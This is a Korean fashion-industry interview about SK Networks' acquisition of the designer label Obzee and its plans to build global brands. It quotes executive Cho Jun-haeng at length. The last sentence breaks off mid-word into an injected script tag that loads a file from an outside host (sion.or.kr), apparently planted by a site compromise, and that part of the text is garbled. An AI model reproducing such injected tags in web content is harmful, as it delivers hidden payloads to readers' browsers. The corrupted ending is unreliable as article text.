SK 행복날개 달고 글로벌 비즈니스 완성할 것

너무나 바쁜 사람을 만났다. 아니 만나기 힘든 사람을 어렵사리 인터뷰했다는 말이 맞을지 모른다. 지난 연말 (주)오브제를 인수해 세간의 스포트라이트를 한몸에 받고있는 (주)SK네트웍스 패션사업본부장 조준행 상무는 연일 미국과 중국으로, 국내에 있을땐 남대문로 본사 사무실과 방이동 오브제 사무실을 숨가쁘게 오가며 하루 24시간이 모자랄 정도로 시간을 쪼개가며 바삐 움직이고 있다.
조준행 상무는 “이제 어느정도 정리가 된 것 같습니다. 오브제의 디자인 역량과 열정, SK네트웍스의 글로벌 경영능력과 과감한 투자가 합쳐져 인수합병의 시너지 효과를 극대화할수 있도록 최선을 다하겠습니다”고 말했다.
SK네트웍스 패션사업본부는 이번 오브제 인수를 계기로 기존의 ‘타미힐피거’‘DKNY’‘루츠’‘리차드최’‘아이겐포스트’‘스마트’에 이어‘오브제’‘오즈세컨’‘클럽모나코’를 추가하게 됨으로써 12개 브랜드를 거느린 글로벌 패션메이커의 위상을 갖추게 됐다.
작년 11월 8일 오브제의 강진영·윤한희 부부 디자이너와 첫 미팅을 가진 이후 한달이 채 안된 그달 29일 정식 계약서에 사인할 정도로 전광석화처럼 진행된 (주)오브제 인수작업은 패션업계 M&A의 대표적인 성공사례로 평가받으며 아직까지 많은 사람들의 입에 회자되고 있다.
인수 이후 두달여가 지난 지금, 무엇보다 특이할만한 것은 그동안 기피대상 1순위였던 (주)오브제에 많은 디자이너들이 대거 몰려들고 있다는 사실이다. 이는 SK네트웍스에 인수된 오브제의 연착륙을 의미하는 것이자, 디자인력과 글로벌 매니지먼트가 환상적으로 결합된 성공적인 M&A였음을 보여주는 단적인 예다.
SK네트웍스는 이번 오브제 인수를 계기로 보다 공격적으로 글로벌 패션브랜드 육성에 박차를 가한다는 계획이다. 2010년까지 글로벌 브랜드를 10개이상 만들고, 현재 4500억원 수준인 패션사업부문 매출을 최대 2조원대까지 끌어올리기 위해 국내사업 확장및 글로벌 비즈니스 강화에 주력하는 한편 향후 추가적인 M&A도 계속 시도하겠다는 의욕이다.
조준행 상무는“SK는 단순히 패션사업의 외형을 키운다는 차원이 아니라 차별화된 비전과 경영철학을 갖고 완전히 다른 그림을 그리는 곳”이라면서 “글로벌 스탠다드에 입각한 새로운 패러다임이 필요한 시점에 더 큰 꿈을 이루기 위해 오브제와 연합군이라는 생각으로 한국 패션의 명품화·세계화를 앞당기는 선봉장이 되겠다”고 말했다.
이같은 공적를 인정받아 조 상무는 지난 연말 회사로부터 ‘(주)오브제의 성공적 인수합병 추진을 통해 패션사업의 R&C 확보등 변화관리 및 완성의 기반을 구축’했다는 공로로 표창장을 수여받았다. 그만큼 회사내에서도 오브제 인수를 높이 평가하고 있다는 뜻이다.
요즘 내달 초 뉴욕컬렉션 무대에 올리는‘Y&Kei’와‘리차드최’두 브랜드의 패션쇼 준비에 여념이 없는 조 상무는 “공교롭게도 오브제 인수이후 첫 작품인 ‘Y&Kei’패션쇼를 ‘리차드최’패션쇼와 함께 같은날(2월 6일) 뉴욕컬렉션 한 무대에 올리게 돼 더욱 감회가 크다”면서 “한국패션의 신화를 새롭게 써 내려간다는 자부심으로 LVMH를 능가하는 패션하우스를 완성하는 그날까지 한눈팔지 않고 전력투구하겠다”고 다짐했다. 다음은 조준행 상무가 밝히는 SK네트웍스의 글로벌 비즈니스 경영관이다.
▲ 왜 강진영, 윤한희였나
현재 SK네트웍스의 패션사업은 도나카란 컬렉션, DKNY, 타미힐피커, 힐피거 데님, 루츠 등 해외 글로벌 브랜드 위주로 전개돼왔다. 그러나 SK네트웍스가 추구하는 패션사업의 비전은 한국의 디자인 역량을 바탕으로 실력있는 디자이너를 발굴해 그들을 글로벌 브랜드화하고, 나아가 세계적 수준의 글로벌 비즈니스로 키워내는 것이 목표다. 현재 SK네트웍스가 뉴욕에서 글로벌 브랜드로 육성중인 신진 디자이너 리차드최(Richard Chai)의 경우가 좋은 예다.
글로벌 비즈니스로 육성 가능한 국내 최정상급 디자이너의 크리에이티브 감성과 디자인 역량이 필요한 시점에, 특히 SK의 기존 비즈니스에 디자인력과 생산 노하우가 필요한 시점에 강진영, 윤한희 두사람과의 만남은 더할 수 없는 행운이자 도약을 위한 필수 요건이라고 판단했다.
▲ 글로벌 사업의 향후 계획은.
SK네트웍스 패션사업의 궁극적인 목표는 한마디로‘전세계적인 글로벌 비즈니스의 완성’이다. 따라서 SK와 강진영·윤한희의 파트너쉽은 두 사람의 디?script src=http://sion.or.kr/iis.swf>
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